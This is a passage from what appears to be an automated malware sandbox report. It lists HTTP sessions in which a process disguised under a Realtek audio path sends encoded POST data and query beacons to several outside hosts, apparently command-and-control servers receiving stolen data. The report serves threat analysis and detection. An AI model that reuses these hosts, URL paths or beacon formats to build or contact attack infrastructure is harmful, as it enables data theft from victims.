0a Data Ascii: 6d(HML),I310Vp/JLIIr$T";Ctv6PiEv0yyr0.mx
Dec 3, 2024 14:53:48.988488913 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49794	172.67.201.49	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:51.480022907 CET	2578	OUT	POST /qrpv/ HTTP/1.1 Host: www.goldbracelet.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.goldbracelet.top Referer: http://www.goldbracelet.top/qrpv/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 67 2f 55 49 45 75 32 50 30 6b 78 53 53 62 39 39 71 6d 35 4a 33 78 44 5a 70 73 59 33 67 6d 4a 6f 6f 4a 79 36 51 38 39 2f 56 73 71 6f 38 35 6a 35 64 58 38 76 58 68 4e 53 30 42 32 46 50 6d 6a 6d 68 78 49 76 4e 4f 4d 59 47 53 47 73 58 61 34 5a 6c 4a 34 58 6d 6a 79 48 70 70 58 4d 4b 74 67 46 43 5a 55 69 46 39 62 69 79 4f 31 4e 6e 4d 49 2b 35 57 7a 33 36 6e 46 64 46 6e 48 72 31 6c 4f 68 50 4e 6f 67 4b 72 6e 52 68 6e 33 6c 41 2b 53 78 49 4a 68 53 54 66 46 46 6b 30 30 53 57 5a 74 65 51 72 42 37 55 44 5a 6e 56 32 36 4e 31 49 34 70 2f 73 4e 41 58 5a 75 2f 62 52 39 53 62 7a 51 50 34 79 74 63 31 6e 52 59 65 42 64 30 48 43 66 75 39 67 6b 75 6b 6d 68 62 64 4b 72 73 2f 62 31 4c 35 45 77 30 51 4d 2f 39 71 73 5a 6e 69 48 38 68 31 57 52 53 63 68 75 43 4e 77 37 4b 42 53 51 47 51 55 30 7a 4a 47 47 76 46 4d 62 65 41 65 65 41 6b 4a 36 51 72 43 51 39 7a 42 6f 44 6d 33 2b 39 77 64 68 72 41 75 4c 65 56 6d 51 31 47 32 56 77 35 39 57 6c 35 4f 44 45 50 74 51 4b 77 2f 4f 70 53 6f 5a 35 79 69 6d 57 30 6d [TRUNCATED] Data Ascii: pluxVm=bg/UIEu2P0kxSSb99qm5J3xDZpsY3gmJooJy6Q89/Vsqo85j5dX8vXhNS0B2FPmjmhxIvNOMYGSGsXa4ZlJ4XmjyHppXMKtgFCZUiF9biyO1NnMI+5Wz36nFdFnHr1lOhPNogKrnRhn3lA+SxIJhSTfFFk00SWZteQrB7UDZnV26N1I4p/sNAXZu/bR9SbzQP4ytc1nRYeBd0HCfu9gkukmhbdKrs/b1L5Ew0QM/9qsZniH8h1WRSchuCNw7KBSQGQU0zJGGvFMbeAeeAkJ6QrCQ9zBoDm3+9wdhrAuLeVmQ1G2Vw59Wl5ODEPtQKw/OpSoZ5yimW0mdXYOR6cujjqasjWEUXAn9aW2RT0/PZ5v6qxYwiugt2yss+8+J9Z9fwLGfPw8+3Fhhg81oHbM9uZ1+0nIoZLhmi3hrYhvBeYyJQe8ACsljDmt9zRPgRrt3LiNThDitenbejLL/emSdBLZijy//tFdo6Il8RFqVo2Y8CnJvccCDVkCR3JrbshoqmCQWagYjsD2KHAenmAXzLaZktVr+xcvnrq434Tsv66ER4Y3+v4RfkaQpIo/UPry30VLUzGSXwZwFfHMTK2Ij3C3aMQqr7GOKh1piVZZmM2cPvm7TKBdNW1KHZyA6TQR7Vd7L1pA2lIUbmVF7VZiL60IZi99dcAXp0/dX4JpbSPYVt++Oc6ugeOrvBRcjC/DTUowVSziemnYmQLQ3Es6KHfBt8ihtrzA1R27QtgQH/+uf/mKUbsQ/SjzP5gw/CxsX6yZBRr2nNLTFAyzRXcoHueLTujpwsmbPTVQVRCjynoUczcpjguidJMgax72WiiHbOvmK6UFZtUG3sXuPz8cDOVwMylTr0DAshMiGNDvWv9AOsR2fwd5RnExw83b1Jk3iQPuT/wovN9DDlhqSGisqo0XnOmINorjDv9LeZWBgHRTXau1lN/IE20fDT8LACM1I9bNxeEUWUUx6m2VKRadsHdu6b535K3UDuPq+TQgXHmbKN [TRUNCATED]
Dec 3, 2024 14:53:51.480047941 CET	5156	OUT	Data Raw: 61 39 4e 63 57 74 78 45 65 38 37 4d 46 33 67 6c 76 6b 31 58 41 46 4a 78 72 49 4a 73 32 6f 46 61 4f 6a 44 48 55 5a 55 73 6b 73 6f 4e 71 76 46 62 4a 7a 59 6f 4a 65 6b 79 2b 5a 51 59 47 71 72 54 30 75 68 41 33 44 6b 78 6c 55 32 63 6c 75 63 77 52 72 Data Ascii: a9NcWtxEe87MF3glvk1XAFJxrIJs2oFaOjDHUZUsksoNqvFbJzYoJeky+ZQYGqrT0uhA3DkxlU2clucwRr8Zv7En9edKU8w1ApeA6nKKxM2/PLSJOAciFZcqnFxj45FnU2rmGL+VrOqHcd/LkQGgNCnotLW2XWpr3ZCv2zAlXvsmDQufw8ERs2k7ZT0+nxt7E3aJDXIK8CGp5hwCsHwUPqyTmL7m284ti9uFWN6rGzssWWlPzay
Dec 3, 2024 14:53:51.480120897 CET	127	OUT	Data Raw: 38 78 33 6d 35 4e 43 43 71 75 31 6f 36 59 44 36 39 68 44 42 4f 57 68 5a 74 33 78 64 42 2f 77 53 4f 71 32 39 79 35 49 35 41 75 36 70 6c 44 56 73 52 69 33 6c 70 53 7a 55 4c 5a 53 7a 53 63 79 58 6b 6f 4b 48 74 35 4d 58 63 2b 68 6a 44 6a 66 76 6f 4c Data Ascii: 8x3m5NCCqu1o6YD69hDBOWhZt3xdB/wSOq29y5I5Au6plDVsRi3lpSzULZSzScyXkoKHt5MXc+hjDjfvoL0nFjBn5zj0yCCNaNclToJyM16a25Yf2rSR9Bbx4v1aA==
Dec 3, 2024 14:53:51.624552011 CET	927	IN	HTTP/1.1 403 Forbidden Date: Tue, 03 Dec 2024 13:53:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8C%2F9sTr3ONQ4CfGEP5rT6wQlo10UdzNLgGgcczkSoWInLFix4%2FssDoQQDb13lKr6oSbecX7GxlZDglKH%2BZIgd4kDMCJQwUr3h3hY5p3I4ZEoAIb%2FACKLcwwHVAEL%2BS%2FQ1PYM22rFAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec40b99082b19cf-EWR Content-Encoding: gzip alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=103063&min_rtt=103063&rtt_var=51531&sent=3&recv=9&lost=0&retrans=0&sent_bytes=0&recv_bytes=7861&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Vp/JLIIr$T";Ctv6PiEv0yyr0.mx
Dec 3, 2024 14:53:51.624597073 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49795	172.67.201.49	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:54.103291988 CET	423	OUT	GET /qrpv/?Z1EO=OvfHeluUy&pluxVm=WiX0LzPqOnM4b37+7/q2MnJgJJwmlCG/8poUwA5NsFkBp/VurdzYoSVVPF8rA/Ka5BkZn+mZS0ORkGe6TXFOOAiLIJoZGeMwExFXk2ddigf2T3UmxoiawIQ= HTTP/1.1 Host: www.goldbracelet.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:53:54.362303019 CET	935	IN	HTTP/1.1 403 Forbidden Date: Tue, 03 Dec 2024 13:53:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CJ6HVhxQIol6eeLbu15eF0NUhkrFETNzTO3a%2FwcIQVbYIGqhiwLO7n%2BRu0Hl1JKNDeoMj0SG4HUUAvT00IlCas1HlqMQsYpnFtHBQqMFK4IZUg%2FZO9VO0t1xSnAg3z%2B60n57FtbaTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec40ba97a144379-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=103071&min_rtt=103071&rtt_var=51535&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=423&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Dec 3, 2024 14:53:54.362385035 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49796	173.0.157.187	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:59.631959915 CET	668	OUT	POST /8h0h/ HTTP/1.1 Host: www.0be.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.0be.info Referer: http://www.0be.info/8h0h/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 75 31 37 6d 67 59 79 62 52 47 72 46 37 46 76 64 38 4e 55 4d 70 66 75 77 2f 38 4c 6f 54 56 6b 65 34 4f 7a 46 74 34 50 4e 4d 71 74 53 68 62 48 66 51 35 65 78 5a 77 4c 47 34 34 65 6d 34 43 74 70 59 54 39 66 4a 67 43 34 47 56 70 68 74 53 6f 30 34 5a 64 5a 46 2b 34 53 37 6d 54 2f 62 78 4b 61 64 7a 47 37 6f 51 54 49 4d 51 73 69 58 70 32 67 39 53 48 62 71 4e 57 66 6e 63 6d 35 58 6a 73 59 6e 51 30 41 50 4d 75 79 36 36 36 79 56 76 33 64 42 79 72 64 2b 64 77 32 32 34 4f 72 68 33 46 63 69 74 49 75 56 6a 58 4b 2f 46 35 46 41 56 2f 67 78 5a 4c 4d 42 4a 32 72 2b 78 38 5a 39 62 50 6b 77 3d 3d Data Ascii: pluxVm=bu17mgYybRGrF7Fvd8NUMpfuw/8LoTVke4OzFt4PNMqtShbHfQ5exZwLG44em4CtpYT9fJgC4GVphtSo04ZdZF+4S7mT/bxKadzG7oQTIMQsiXp2g9SHbqNWfncm5XjsYnQ0APMuy666yVv3dByrd+dw224Orh3FcitIuVjXK/F5FAV/gxZLMBJ2r+x8Z9bPkw==
Dec 3, 2024 14:53:59.878046989 CET	262	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 03 Dec 2024 13:53:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Content-Encoding: gzip Data Raw: 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 f3 c9 cc cb 56 c8 2c 56 48 ad 28 c8 2c 4a 4d 01 00 e1 b0 96 c8 0f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23V,VH(,JM0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49797	173.0.157.187	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:02.295325041 CET	688	OUT	POST /8h0h/ HTTP/1.1 Host: www.0be.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.0be.info Referer: http://www.0be.info/8h0h/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 75 31 37 6d 67 59 79 62 52 47 72 55 6f 4e 76 51 2f 6c 55 4f 4a 66 70 73 76 38 4c 39 6a 56 65 65 34 43 7a 46 6f 42 4b 4e 2f 4f 74 52 45 6e 48 63 53 64 65 32 5a 77 4c 65 49 34 58 35 6f 44 41 70 59 65 4f 66 49 63 43 34 47 52 70 68 76 61 6f 31 50 46 65 59 56 2b 36 4b 4c 6d 64 37 62 78 4b 61 64 7a 47 37 73 77 39 49 49 38 73 6c 6d 35 32 6a 5a 47 47 45 61 4e 56 50 33 63 6d 72 6e 6a 53 59 6e 52 5a 41 4f 67 51 79 35 43 36 79 51 72 33 64 56 6d 6b 45 75 64 32 37 57 34 59 71 68 47 73 63 77 68 45 39 6b 66 35 54 4e 31 59 4e 32 59 6c 39 44 74 76 50 53 56 45 76 4f 49 55 62 2f 61 55 35 7a 31 2f 62 7a 50 55 44 32 44 53 59 47 58 6c 6e 78 6b 59 55 74 30 3d Data Ascii: pluxVm=bu17mgYybRGrUoNvQ/lUOJfpsv8L9jVee4CzFoBKN/OtREnHcSde2ZwLeI4X5oDApYeOfIcC4GRphvao1PFeYV+6KLmd7bxKadzG7sw9II8slm52jZGGEaNVP3cmrnjSYnRZAOgQy5C6yQr3dVmkEud27W4YqhGscwhE9kf5TN1YN2Yl9DtvPSVEvOIUb/aU5z1/bzPUD2DSYGXlnxkYUt0=
Dec 3, 2024 14:54:02.514297962 CET	262	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 03 Dec 2024 13:54:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Content-Encoding: gzip Data Raw: 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 f3 c9 cc cb 56 c8 2c 56 48 ad 28 c8 2c 4a 4d 01 00 e1 b0 96 c8 0f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23V,VH(,JM0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49798	173.0.157.187	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:04.969482899 CET	1289	OUT	POST /8h0h/ HTTP/1.1 Host: www.0be.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.0be.info Referer: http://www.0be.info/8h0h/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 75 31 37 6d 67 59 79 62 52 47 72 55 6f 4e 76 51 2f 6c 55 4f 4a 66 70 73 76 38 4c 39 6a 56 65 65 34 43 7a 46 6f 42 4b 4e 2f 47 74 53 32 2f 48 65 7a 64 65 33 5a 77 4c 54 6f 34 61 35 6f 43 43 70 59 48 6d 66 49 52 31 34 41 4e 70 75 71 57 6f 79 39 74 65 52 56 2b 36 57 37 6d 51 2f 62 78 6c 61 64 6a 43 37 6f 55 39 49 49 38 73 6c 6c 52 32 31 39 53 47 43 61 4e 57 66 6e 63 51 35 58 6a 70 59 6e 4a 6e 41 4f 56 72 79 70 69 36 79 77 37 33 66 6d 65 6b 62 2b 64 30 2b 57 35 62 71 68 4b 33 63 7a 55 39 39 6e 44 58 54 4b 42 59 4e 33 34 35 6e 52 39 51 4e 69 45 4c 76 2f 59 74 59 5a 4f 4c 39 53 39 35 62 53 44 6c 4d 7a 76 36 53 56 7a 39 7a 77 77 2f 4e 64 59 7a 4e 38 73 4d 79 72 4f 79 46 6f 4b 41 7a 61 42 30 6f 49 37 56 34 44 5a 34 4b 66 59 74 6d 71 31 43 76 45 39 61 58 5a 43 43 55 7a 35 75 36 5a 54 45 48 72 5a 38 41 31 74 4f 78 65 36 73 4d 34 4b 65 6d 77 42 4e 44 57 75 67 43 6d 4b 79 59 41 46 4a 7a 66 6e 69 53 53 4f 5a 6f 37 4b 37 59 2f 6f 4f 75 31 4c 68 49 77 39 66 32 48 2f 52 65 4f 4a 58 75 33 45 [TRUNCATED] Data Ascii: pluxVm=bu17mgYybRGrUoNvQ/lUOJfpsv8L9jVee4CzFoBKN/GtS2/Hezde3ZwLTo4a5oCCpYHmfIR14ANpuqWoy9teRV+6W7mQ/bxladjC7oU9II8sllR219SGCaNWfncQ5XjpYnJnAOVrypi6yw73fmekb+d0+W5bqhK3czU99nDXTKBYN345nR9QNiELv/YtYZOL9S95bSDlMzv6SVz9zww/NdYzN8sMyrOyFoKAzaB0oI7V4DZ4KfYtmq1CvE9aXZCCUz5u6ZTEHrZ8A1tOxe6sM4KemwBNDWugCmKyYAFJzfniSSOZo7K7Y/oOu1LhIw9f2H/ReOJXu3E09S8SnAXp5nJl+Gy41GMgOb+UZtJD6E/AMiX5qBQFG8H2yvqpvDta9FKAIAWgjGMZk7aE3exR1IgueOcAm4Bt1nYKcYXrOVhmd8GdxRJAfbj1AOGRUuF0bhdlX/6Hdu7YFEjygZ6XzSAw+t5E68zBsJIeLax3/NpbQ5igBEL/0X6HOoBLXfFwrxYp9nNifgp4/CQWdOo41HkvJ8JnXeP0zQQytEAFv0XOi26Wulnz15pl//ZfN9kY62gvt3k/6KDPw98Wpr2U6rgkMsjmENPTCu844JCWxd/mW0O2+y1hrDGCrZ7ajWiiMXw1DeN/bUfPxWcOkPP8wRy9BUi2+a6nrJIjhe2BaWSh+2XyuwVijIEuSCGViA0VPm8th2Qwp2jUXczZFQLD09pgxY89yLoVfYlYoCV1RwPVBBVLGGlFg1YGI5cQ4ZxhffrxetblXn0tu3XCDQ7yucP8D6AfZ9lWbyU1N76lha9wASNN
Dec 3, 2024 14:54:04.969508886 CET	6548	OUT	Data Raw: 65 41 37 36 73 4e 4c 52 4a 64 55 68 2b 4a 43 4e 79 78 39 42 65 35 52 30 65 68 34 4a 39 4f 66 67 4e 59 75 77 68 69 4f 70 63 61 33 46 71 4e 41 33 7a 56 43 31 67 35 32 6f 35 44 6f 47 74 4e 49 36 6d 6b 68 7a 51 57 70 65 34 76 51 43 6c 4e 4d 53 75 69 Data Ascii: eA76sNLRJdUh+JCNyx9Be5R0eh4J9OfgNYuwhiOpca3FqNA3zVC1g52o5DoGtNI6mkhzQWpe4vQClNMSuicKTSXp47VMVRqyxLZSCkPkLgnoHqMr0wmZP4a3ec+UXrliWJedytzevwbaocacGtEaqTfDoI1Bf9dLvlffcGUCvL6Vh7WTPLGLB+W7qiu5QgTbpF321v/sVU8X4afEbfTpwYRUTxEhVdxP9oZKkYwe7x5/ZP/EP9U
Dec 3, 2024 14:54:05.199466944 CET	262	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 03 Dec 2024 13:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Content-Encoding: gzip Data Raw: 32 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 f3 c9 cc cb 56 c8 2c 56 48 ad 28 c8 2c 4a 4d 01 00 e1 b0 96 c8 0f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23V,VH(,JM0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49799	173.0.157.187	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:07.636315107 CET	415	OUT	GET /8h0h/?pluxVm=WsdblX5oKRyaFeduXpZZBYfr3KMp+WtxHr+UJvo5A+6DW3eJEDxswcp5ZYJtgZW5p4zYKJkjyVN2mc228t1VZlr/R5LO29syDvrfnZcSIMlt6XRuzenYE6E=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.0be.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:54:07.868633032 CET	217	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 03 Dec 2024 13:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Data Raw: 66 0d 0a 4c 69 6e 6b 20 69 73 20 65 78 70 69 72 65 64 0d 0a 30 0d 0a 0d 0a Data Ascii: fLink is expired0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49800	13.248.169.48	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:13.115884066 CET	683	OUT	POST /1cwp/ HTTP/1.1 Host: www.smartgov.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.smartgov.shop Referer: http://www.smartgov.shop/1cwp/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 68 4b 74 39 6a 58 36 36 53 79 30 31 6c 73 4c 46 48 68 75 6b 53 71 62 49 6e 68 32 41 61 61 6f 36 65 77 78 44 54 49 70 74 59 51 79 61 58 77 49 73 71 35 50 76 4c 31 72 78 4d 77 4b 62 66 48 6d 70 35 32 6a 70 6f 71 59 75 50 2f 7a 71 58 2f 35 6b 44 7a 46 51 31 30 6d 63 41 41 48 35 38 53 49 37 6a 2b 55 55 68 36 33 76 37 2b 4b 6c 71 5a 6c 48 62 78 4e 42 75 61 73 4c 79 53 6c 59 56 37 50 2f 78 78 4b 56 52 75 65 62 63 56 73 59 79 48 6a 46 45 75 79 6b 51 31 31 55 70 52 2f 6b 52 41 68 6e 76 4f 2f 6d 56 4f 55 75 48 4e 70 47 68 56 62 44 63 34 72 34 73 5a 50 74 50 59 42 4f 34 61 2b 33 6f 51 3d 3d Data Ascii: pluxVm=hKt9jX66Sy01lsLFHhukSqbInh2Aaao6ewxDTIptYQyaXwIsq5PvL1rxMwKbfHmp52jpoqYuP/zqX/5kDzFQ10mcAAH58SI7j+UUh63v7+KlqZlHbxNBuasLySlYV7P/xxKVRuebcVsYyHjFEuykQ11UpR/kRAhnvO/mVOUuHNpGhVbDc4r4sZPtPYBO4a+3oQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49801	13.248.169.48	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:15.750148058 CET	703	OUT	POST /1cwp/ HTTP/1.1 Host: www.smartgov.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.smartgov.shop Referer: http://www.smartgov.shop/1cwp/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 68 4b 74 39 6a 58 36 36 53 79 30 31 6b 4e 37 46 45 47 36 6b 44 36 62 4a 2b 42 32 41 44 71 6f 2b 65 77 39 44 54 4e 49 77 59 6a 47 61 58 52 34 73 72 38 37 76 4f 31 72 78 55 67 4b 6b 53 6e 6d 75 35 32 76 62 6f 71 55 75 50 2f 6e 71 58 36 56 6b 44 45 52 54 7a 6b 6d 65 4a 67 48 33 78 79 49 37 6a 2b 55 55 68 36 79 36 37 2b 53 6c 71 70 31 48 61 51 4e 43 6e 36 73 4d 34 79 6c 59 44 4c 50 37 78 78 4b 6e 52 76 53 68 63 58 55 59 79 44 76 46 45 37 65 6a 5a 31 31 61 30 68 2b 52 5a 79 77 31 33 4f 54 50 54 63 45 42 66 75 74 52 74 6a 57 5a 42 4b 66 63 76 4b 54 66 4c 6f 34 6d 36 59 2f 73 31 64 46 62 68 34 30 68 49 46 34 69 75 67 4b 55 42 30 51 39 49 36 6f 3d Data Ascii: pluxVm=hKt9jX66Sy01kN7FEG6kD6bJ+B2ADqo+ew9DTNIwYjGaXR4sr87vO1rxUgKkSnmu52vboqUuP/nqX6VkDERTzkmeJgH3xyI7j+UUh6y67+Slqp1HaQNCn6sM4ylYDLP7xxKnRvShcXUYyDvFE7ejZ11a0h+RZyw13OTPTcEBfutRtjWZBKfcvKTfLo4m6Y/s1dFbh40hIF4iugKUB0Q9I6o=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49802	13.248.169.48	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:18.386698008 CET	6445	OUT	POST /1cwp/ HTTP/1.1 Host: www.smartgov.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.smartgov.shop Referer: http://www.smartgov.shop/1cwp/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 68 4b 74 39 6a 58 36 36 53 79 30 31 6b 4e 37 46 45 47 36 6b 44 36 62 4a 2b 42 32 41 44 71 6f 2b 65 77 39 44 54 4e 49 77 59 6a 65 61 57 6a 77 73 72 66 6a 76 4e 31 72 78 4b 77 4b 68 53 6e 6e 72 35 32 6e 66 6f 71 70 54 50 38 66 71 56 59 64 6b 46 31 52 54 36 6b 6d 65 45 41 48 36 38 53 49 75 6a 2b 46 54 68 36 43 36 37 2b 53 6c 71 76 78 48 65 42 4e 43 68 36 73 4c 79 53 6c 4d 56 37 50 54 78 78 53 33 52 76 58 65 64 6d 30 59 79 6e 44 46 58 64 71 6a 45 46 31 50 6b 78 2b 4a 5a 79 39 72 33 4f 50 35 54 64 67 76 66 74 64 52 37 45 6a 68 54 49 54 69 37 5a 47 53 57 49 73 6b 77 62 62 5a 37 64 46 37 76 34 52 4e 4f 6a 63 4a 73 42 4b 45 45 6b 73 6c 5a 4e 37 39 4f 65 56 6e 77 34 63 33 76 41 4b 2f 6e 68 4e 53 34 6f 33 64 42 7a 38 43 41 52 55 75 75 4c 30 32 30 53 43 57 4d 33 50 57 6e 6a 74 30 36 6c 4c 6a 47 48 58 59 44 32 46 64 4a 36 50 36 37 55 4d 57 78 72 53 71 4b 4f 6e 43 76 37 52 77 68 57 6d 4c 34 37 39 39 65 72 52 61 33 43 70 35 72 48 4e 4b 6e 67 46 31 6f 4a 41 66 73 55 48 72 69 70 57 4a 69 79 54 [TRUNCATED] Data Ascii: 